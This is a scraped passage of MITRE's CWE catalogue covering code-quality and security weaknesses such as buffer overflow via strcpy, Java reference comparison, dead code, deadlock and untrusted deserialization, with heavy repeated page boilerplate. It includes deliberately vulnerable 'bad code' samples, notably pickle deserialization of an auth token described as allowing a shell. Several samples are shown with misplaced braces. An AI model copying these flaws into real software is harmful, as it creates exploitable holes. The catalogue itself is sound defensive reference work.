char hostname[MAX_LEN]; // create server socket, bind to server address and listen on socket ... // accept client connections and process requests int count = 0; for (count = 0; count < MAX_CONNECTIONS; count++) { int clientlen = sizeof(struct sockaddr_in); int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen); if (clientsocket >= 0) { clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
strcpy(hostname, clienthp->h_name); logOutput("Accepted client connection from host ", hostname); // process client request ... close(clientsocket); close(serversocket); ... However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.
Terminology
Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.
CWE CATEGORY: CISQ Quality Measures - Efficiency
Weaknesses in this category are related to the CISQ Quality Measures for Efficiency. Presence of these weaknesses could reduce the efficiency of the software.
CWE CATEGORY: CISQ Quality Measures - Maintainability
Weaknesses in this category are related to the CISQ Quality Measures for Maintainability. Presence of these weaknesses could reduce the maintainability of the software.
CWE CATEGORY: CISQ Quality Measures - Reliability
Weaknesses in this category are related to the CISQ Quality Measures for Reliability. Presence of these weaknesses could reduce the reliability of the software.
CWE CATEGORY: CISQ Quality Measures - Security
Weaknesses in this category are related to the CISQ Quality Measures for Security. Presence of these weaknesses could reduce the security of the software.
CWE-1082: Class Instance Self Destruction Control Element
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code contains a class instance that calls the method or function to delete or destroy itself.
For example, in C++, "delete this" will cause the object to delete itself. This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1086: Class with Excessive Number of Child Classes
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. While the interpretation of "large number of children" may vary for each product or developer, CISQ recommends a default maximum of 10 child classes. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1074: Class with Excessively Deep Inheritance
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterA class has an inheritance level that is too high, i.e., it
has a large number of parent classes.
This issue makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. While the interpretation of "large number of parent classes" may vary for each product or developer, CISQ recommends a default maximum of 7 parent classes. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1087: Class with Virtual Method without a Virtual Destructor
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterA class contains a virtual method, but the method does not have an associated virtual destructor.
This issue can prevent the product from running reliably, e.g. due to undefined behavior. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-595: Comparison of Object References Instead of Object Contents
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.
For example, in Java, comparing objects using == usually produces deceptive results, since the == operator compares object references rather than values; often, this means that using == for strings is actually comparing the strings' references, not their values.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Java (Undetermined Prevalence) JavaScript (Undetermined Prevalence) PHP (Undetermined Prevalence) Class: Not Language-Specific (Undetermined Prevalence) Example 1 In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent. (bad code)
Example Language: Java
String str1 = new String("Hello");
String str2 = new String("Hello"); if (str1 == str2) { System.out.println("str1 == str2"); }However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method: (good code)
if (str1.equals(str2)) {
System.out.println("str1 equals str2"); }Example 2 In the following Java example, two BankAccount objects are compared in the isSameAccount method using the == operator. (bad code)
Example Language: Java
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
return accountA == accountB; }Using the == operator to compare objects may produce incorrect or deceptive results by comparing object references rather than values. The equals() method should be used to ensure correct results or objects should contain a member variable that uniquely identifies the object. The following example shows the use of the equals() method to compare the BankAccount objects and the next example uses a class get method to retrieve the bank account number that uniquely identifies the BankAccount object to compare the objects. (good code)
Example Language: Java
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
return accountA.equals(accountB); }
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1046: Creation of Immutable Text Using String Concatenation
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterWhen building a string via a looping feature (e.g., a FOR or WHILE loop), the use of += to append to the existing string will result in the creation of a new object with each iteration. This programming pattern can be inefficient in comparison with use of text buffer data elements. This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this could be influenced to create performance problem. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1083: Data Access from Outside Expected Data Manager Component
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component.
When the product has a data access component, the design may be intended to handle all data access operations through that component. If a data access operation is performed outside of that component, then this may indicate a violation of the intended design. This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1057: Data Access Operations Outside of Expected Data Manager Component
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager.
This issue can make the product perform more slowly than intended, since the intended central data manager may have been explicitly optimized for performance or other quality characteristics. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses a data element that has an excessively large
number of sub-elements with non-primitive data types such as structures or aggregated objects.
This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. While the interpretation of "excessively large" may vary for each product or developer, CISQ recommends a default of 5 sub-elements. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code contains a data element with a pointer that does not have an associated copy or constructor method.
This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1072: Data Resource Access without Use of Connection Pooling
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product accesses a data resource through a database without using a
connection pooling capability.
This issue can make the product perform more slowly, as connection pools allow connections to be reused without the overhead and time consumption of opening and closing a new connection. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-561: Dead Code
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
Dead code is code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null. However, on the only path where s can be assigned a non-null value, there is a return statement. (bad code)
Example Language: C++
String s = null;
if (b) { s = "Yes"; }return; if (s != null) { Dead(); }Example 2 In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code. (bad code)
Example Language: Java
public class DoubleDead {
private void doTweedledee() { }doTweedledumb(); }private void doTweedledumb() { doTweedledee(); }public static void main(String[] args) { System.out.println("running DoubleDead"); }(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.) Example 3 The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant. (bad code)
Example Language: Java
public class Dead {
String glue;
public String getGlue() { return "glue"; }
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-833: Deadlock
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-502: Deserialization of Untrusted Data
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Java (Undetermined Prevalence) Ruby (Undetermined Prevalence) PHP (Undetermined Prevalence) Python (Undetermined Prevalence) JavaScript (Undetermined Prevalence) Technologies Class: ICS/OT (Often Prevalent) Example 1 This code snippet deserializes an object from a file and uses it as a UI button: (bad code)
Example Language: Java
try {
File file = new File("object.obj"); }ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); javax.swing.JButton button = (javax.swing.JButton) in.readObject(); in.close(); This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed. To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is: (good code)
Example Language: Java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); } Example 2 In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [REF-467], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token. (bad code)
Example Language: Python
try {
class ExampleProtocol(protocol.Protocol):
def dataReceived(self, data): # Code that would be here would parse the incoming data # After receiving headers, call confirmAuth() to authenticate def confirmAuth(self, headers): try: token = cPickle.loads(base64.b64decode(headers['AuthToken'])) if not check_hmac(token['signature'], token['data'], getSecretKey()): raise AuthFail self.secure_data = token['data'] except: raise AuthFail Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-390: Detection of Error Condition Without Action
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed. (bad code)
Example Language: C
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) { //We do nothing so we just ignore the error. }The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate. Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code. (good code)
